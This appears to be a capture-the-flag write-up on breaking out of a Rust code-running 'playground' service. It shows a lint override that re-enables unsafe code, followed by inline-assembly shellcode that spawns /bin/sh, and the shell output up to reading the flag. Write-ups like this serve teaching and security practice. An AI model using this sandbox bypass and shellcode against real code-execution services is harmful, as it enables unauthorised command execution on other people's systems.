Both services let us load and execute rust programs.
Welcome to the Rust Playground!
[1] New ground
[2] Show ground
[3] Play ground
[4] Exit
-> 1
Name: Test program
Please enter the code of your ground. Say "trait" when you're done.
pub fn main() {
let what = "flag";
println!("Give me the {}, please.", what);
}
trait
[1] New ground
[2] Show ground
[3] Play ground
[4] Exit
-> 3
[1] The Infamous Hello World Program.
[2] Test program
-> 2
Give me the flag, please.
However, we cannot run exactly everything. For example the following code, which attempts to run ls -la
, results in a compilation error.
use std::str;
use std::process::Command;
pub fn main() {
let output = Command::new("ls")
.arg("-la")
.output()
.expect("failed to execute");
println!("{}", str::from_utf8(&output.stdout).unwrap());
}
error[E0433]: failed to resolve: maybe a missing crate `std`?
--> playground.rs:3:5
|
3 | use std::process::Command;
| ^^^ maybe a missing crate `std`?
error[E0432]: unresolved import `std`
--> playground.rs:2:5
|
2 | use std::str;
| ^^^ maybe a missing crate `std`?
error[E0433]: failed to resolve: use of undeclared type or module `Command`
--> playground.rs:6:18
|
6 | let output = Command::new("sh")
| ^^^^^^^ use of undeclared type or module `Command`
error: aborting due to 3 previous errors
Some errors have detailed explanations: E0432, E0433.
For more information about an error, try `rustc --explain E0432`.
Not being much of a Rust person, the very first thing I thought about was: "Can I write inline assembly?". Of course I can!
pub fn main() {
let result: i32;
unsafe {
asm!("mov eax, 2" : "={eax}"(result) : : : "intel")
}
println!("eax is currently {}", result);
}
This prints eax is currently 2
on my local machine but produces this very disappointing error on the server:
error: usage of an `unsafe` block
--> playground.rs:4:5
|
4 | / unsafe {
5 | | asm!("mov eax, 2" : "={eax}"(result) : : : "intel")
6 | | }
| |_____^
|
note: the lint level is defined here
--> main.rs:6:10
|
6 | #[forbid(unsafe_code)]
| ^^^^^^^^^^^
error: aborting due to previous error
Looks like #[forbid(unsafe_code)]
is preventing asm. What if...
Name: Test asm
Please enter the code of your ground. Say "trait" when you're done.
#![allow(unsafe_code)]
pub fn main() {
let result: i32;
unsafe {
asm!("mov eax, 2" : "={eax}"(result) : : : "intel")
}
println!("eax is currently {}", result);
}
trait
[1] New ground
[2] Show ground
[3] Play ground
[4] Exit
-> 3
[1] The Infamous Hello World Program.
[2] Test asm
-> 2
eax is currently 2
Yeah! Let's get this flag!
Name: Gimme shell plz
Please enter the code of your ground. Say "trait" when you're done.
#![allow(unsafe_code)]
pub fn main() {
unsafe {
asm!("mul %esi \n\
push %rax \n\
movabs $$0x68732f2f6e69622f,%rdi \n\
push %rdi \n\
mov %rsp,%rdi \n\
mov $$0x3b,%al \n\
syscall");
}
}
trait
[1] New ground
[2] Show ground
[3] Play ground
[4] Exit
-> 3
[1] The Infamous Hello World Program.
[2] Gimme shell plz
-> 2
ls
app-c2bb5025a1bb
bin
get_flag
lib
lib64
proc
tmp
usr
./get_flag
p4{my_sc0re_w@s_286_l3t_me_kn0w_1f_y0u_b3@t_1t_0adad38edc24}
But wait! What does the flag say? :/
Minified this program is 160 bytes... Did I just beat them? <dopeness intensifies>
Turns out this solution was unintended, while the intended one was rust-lang/rust#25860.